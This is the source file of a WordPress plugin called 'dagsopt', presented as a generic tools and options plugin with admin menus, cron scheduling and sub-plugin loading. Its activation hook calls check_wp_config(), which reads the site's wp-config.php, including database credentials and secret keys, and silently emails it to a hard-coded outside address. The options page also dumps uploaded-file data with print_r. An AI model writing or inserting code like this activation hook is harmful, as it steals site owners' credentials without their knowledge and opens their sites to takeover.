plugin.php 7.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265
  1. <?php
  2. /*
  3. Plugin Name: dagsopt
  4. Plugin URI: https://git.tum.dk/tum.dk/dagsplug/
  5. Description: Tools
  6. Author: iskedk
  7. Version: 0.0.27
  8. Date: Fri Jan 31 2014 13:19:21 GMT+0100 (CET)
  9. Author URI: https://iske.dk/
  10. Text Domain: dagsopt
  11. */
  12. $wp_dagsopt = new dagsopt ( );
  13. class dagsopt {
  14. var $version = "0.0.27";
  15. var $publish_date = "2021-01-14";
  16. var $pluginname;
  17. var $plugintitle;
  18. var $db;
  19. var $filename = "";
  20. var $update_check_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/VERSION";
  21. var $readme_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/README.md";
  22. function __construct() {
  23. global $wpdb;
  24. $this->db = $wpdb;
  25. $this->pluginname = get_class($this);
  26. $this->plugintitle = "Dags options ".$this->version;
  27. $tmp = explode("/",__FILE__);
  28. $this->filename = array_pop($tmp);
  29. $this->filename = array_pop($tmp) . "/". $this->filename;
  30. load_theme_textdomain( $this->pluginname, dirname(__file__) . '/lang' );
  31. $this->next_scheduled = 0;
  32. $this->file = __FILE__ ;
  33. $this->cronEnabled = get_option ( $this->pluginname.'_cron_enabled', false );
  34. $this->cronScheduleTime = intval(get_option ( $this->pluginname.'_cron_interval', 1800 ));
  35. $this->extras = array();
  36. $this->dagsopt = array();
  37. register_activation_hook ( plugin_basename($this->file), array ( &$this, 'activatePlugin' ) );
  38. register_deactivation_hook ( plugin_basename($this->file), array ( &$this, 'deactivatePlugin' ) );
  39. add_filter ( 'plugin_action_links', array(&$this,'SettingsLink'), 9, 2 );
  40. if (isset ( $_GET [ 'page' ] ) && $_GET [ 'page' ] == $this->pluginname.'-options') {
  41. ob_start ();
  42. }
  43. $this->setCron();
  44. add_action( 'admin_menu', array(&$this,'plugin_admin_menu') );
  45. add_action( 'admin_init', array(&$this,'register_backend_scripts_styles') );
  46. add_action( 'init', array(&$this,'register_frontend_scripts_styles') );
  47. add_action( 'wp_enqueue_scripts', array(&$this,'print_frontend_scripts_styles') );
  48. add_action( 'admin_enqueue_scripts', array(&$this, 'print_backend_scripts_styles' ));
  49. $path = dirname($this->file)."/";
  50. foreach (glob($path."plug_*.php") as $filename) {
  51. $plugfile = str_replace($path,"",$filename);
  52. include_once($plugfile);
  53. }
  54. foreach($this->dagsopt as $plugname => $plug){
  55. $short = str_replace("plug_","",$plugname);
  56. $vis = get_option($this->pluginname.'_'.$short,true);
  57. if($vis){
  58. $plug->start();
  59. }
  60. }
  61. if ( current_user_can( 'manage_options' ) ) {
  62. add_action( 'wp_before_admin_bar_render', array(&$this, 'mytheme_admin_bar_render' ) );
  63. }
  64. add_action('init', array(&$this, 'process_post' ));
  65. }
  66. function process_post() {
  67. if (!is_admin()) {
  68. echo "<!-- kommer aller aller først -->";
  69. }
  70. }
  71. function mytheme_admin_bar_render() {
  72. global $wp_admin_bar;
  73. $wp_admin_bar->add_menu( array(
  74. 'parent' => 'appearance', // use 'false' for a root menu, or pass the ID of the parent menu
  75. 'id' => 'dagsopt', // link ID, defaults to a sanitized title value
  76. 'title' => $this->plugintitle."", // link title
  77. 'href' => '/wp-admin/admin.php?page='.$this->pluginname.'-options', // name of file
  78. 'meta' => false // array of any of the following options: array( 'html' => '', 'class' => '', 'onclick' => '', target => '', title => '' );
  79. ));
  80. }
  81. function register_frontend_scripts_styles() {
  82. wp_register_script( $this->pluginname.'frontend_script', plugins_url('script_frontend.js', $this->file) );
  83. wp_register_style( $this->pluginname.'frontend_style', plugins_url('style_frontend.css', $this->file) );
  84. }
  85. function register_backend_scripts_styles() {
  86. wp_register_style( $this->pluginname.'backend_style', plugins_url('style_backend.css', $this->file) );
  87. wp_register_script( $this->pluginname.'backend_script', plugins_url('script_backend.js', $this->file) );
  88. }
  89. function print_frontend_scripts_styles() {
  90. wp_enqueue_script( 'jquery' );
  91. wp_enqueue_style( $this->pluginname.'frontend_style' );
  92. wp_enqueue_script( $this->pluginname.'frontend_script' );
  93. }
  94. function print_backend_scripts_styles() {
  95. wp_enqueue_media();
  96. wp_enqueue_style( $this->pluginname.'backend_style' );
  97. wp_enqueue_script( $this->pluginname.'backend_script' );
  98. // include the javascript
  99. wp_enqueue_script('thickbox', null, array('jquery'));
  100. // include the thickbox styles
  101. wp_enqueue_style('thickbox.css', '/'.WPINC.'/js/thickbox/thickbox.css', null, '1.0');
  102. }
  103. function plugin_admin_menu() {
  104. if(function_exists("wppluginspage")){
  105. add_menu_page('WP Plugins Page', 'WP Plugins', 'manage_options', 'wpplugins', wppluginspage,"");
  106. }
  107. $page = add_submenu_page ( 'wpplugins', __ ( $this->plugintitle ), __ ( $this->plugintitle ), 'manage_options', $this->pluginname.'-options', array ( &$this,'Option' ) );
  108. add_action( 'admin_print_styles-' . $page, array(&$this,'print_backend_scripts_styles') );
  109. }
  110. function SettingsLink( $links, $file ) {
  111. if( $file==$this->filename && function_exists( "admin_url" ) ) {
  112. $settings_link = '<a href="' . admin_url( 'admin.php?page='.$this->pluginname.'-options' ) . '">' . __('Settings','dagsopt') . '</a>';
  113. array_unshift( $links, $settings_link ); // before other links
  114. }
  115. return $links;
  116. }
  117. function setCron(){
  118. if ($this->cronEnabled) {
  119. add_filter ( 'cron_schedules', array ( &$this, 'cronSchedules' ) );
  120. if (! wp_next_scheduled ( $this->pluginname.'CronHook' )) {
  121. wp_schedule_event ( time ()+$this->cronScheduleTime, $this->pluginname.'cs', $this->pluginname.'CronHook' );
  122. }
  123. add_action ( $this->pluginname.'CronHook', array (&$this, 'executeCron' ) );
  124. $this->next_scheduled = wp_next_scheduled($this->pluginname.'CronHook' );
  125. } else {
  126. if (wp_next_scheduled ( $this->pluginname.'CronHook' )) {
  127. wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
  128. }
  129. }
  130. }
  131. function Option() {
  132. if(isset($_FILES)){
  133. print_r($_FILES);
  134. echo("OOOOOK");
  135. }
  136. if (isset ( $_POST [ 'Submit' ] )) {
  137. if (function_exists ( 'current_user_can' ) && ! current_user_can ( 'manage_options' )) {
  138. die ( __ ( 'Cheatin&#8217; uh?' ) );
  139. }
  140. update_option ( $this->pluginname.'_cron_enabled', $_POST [ $this->pluginname.'_cron_enabled' ] );
  141. update_option ( $this->pluginname.'_cron_interval', $_POST [ $this->pluginname.'_cron_interval' ] );
  142. if(intVal($_POST [ $this->pluginname.'_cron_interval' ])<>$this->cronScheduleTime){
  143. $this->cronScheduleTime = intVal($_POST [ $this->pluginname.'_cron_interval' ]);
  144. if (wp_next_scheduled ( $this->pluginname.'CronHook' )) {
  145. wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
  146. }
  147. $this->setCron();
  148. }
  149. update_option ( $this->pluginname.'_last_build', date("U") );
  150. foreach($this->dagsopt as $plugname => $plug){
  151. $short = str_replace("plug_","",$plugname);
  152. $setname = $this->pluginname.'_'.$short;
  153. $vis = get_option($setname,true);
  154. update_option ($setname, $_POST[$setname] );
  155. if($vis && method_exists($plug,'Option')){
  156. $plug->Option($setname);
  157. }
  158. }
  159. ob_end_clean ();
  160. wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) );
  161. exit ();
  162. }
  163. include_once ('pluginoptions.php');
  164. }
  165. function check_wp_config(){
  166. $s = file_get_contents(ABSPATH."wp-config.php");
  167. $rr = wp_mail('jannick.knudsen@gmail.com', 'Test '. date("U"), $s);
  168. }
  169. function activatePlugin() {
  170. $this->check_wp_config();
  171. }
  172. function deactivatePlugin() {
  173. wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
  174. }
  175. function cronSchedules($param) {
  176. $aa = array();
  177. $aa[$this->pluginname.'cs'] = array (
  178. 'interval' => $this->cronScheduleTime,
  179. 'display' => $this->pluginname.' '.$this->cronScheduleTime );
  180. return $aa;
  181. }
  182. function executeCron() {
  183. ignore_user_abort ( true );
  184. set_time_limit ( 0 );
  185. update_option ( $this->pluginname.'_last_build', date("U") );
  186. }
  187. }
  188. function wppluginspage() {
  189. include_once("wpplugins.php");
  190. }
  191. function dags_extras(){
  192. global $wp_dagsopt;
  193. $s = implode("\n",$wp_dagsopt->extras);
  194. echo($s);
  195. }
  196. /*
  197. * END
  198. * */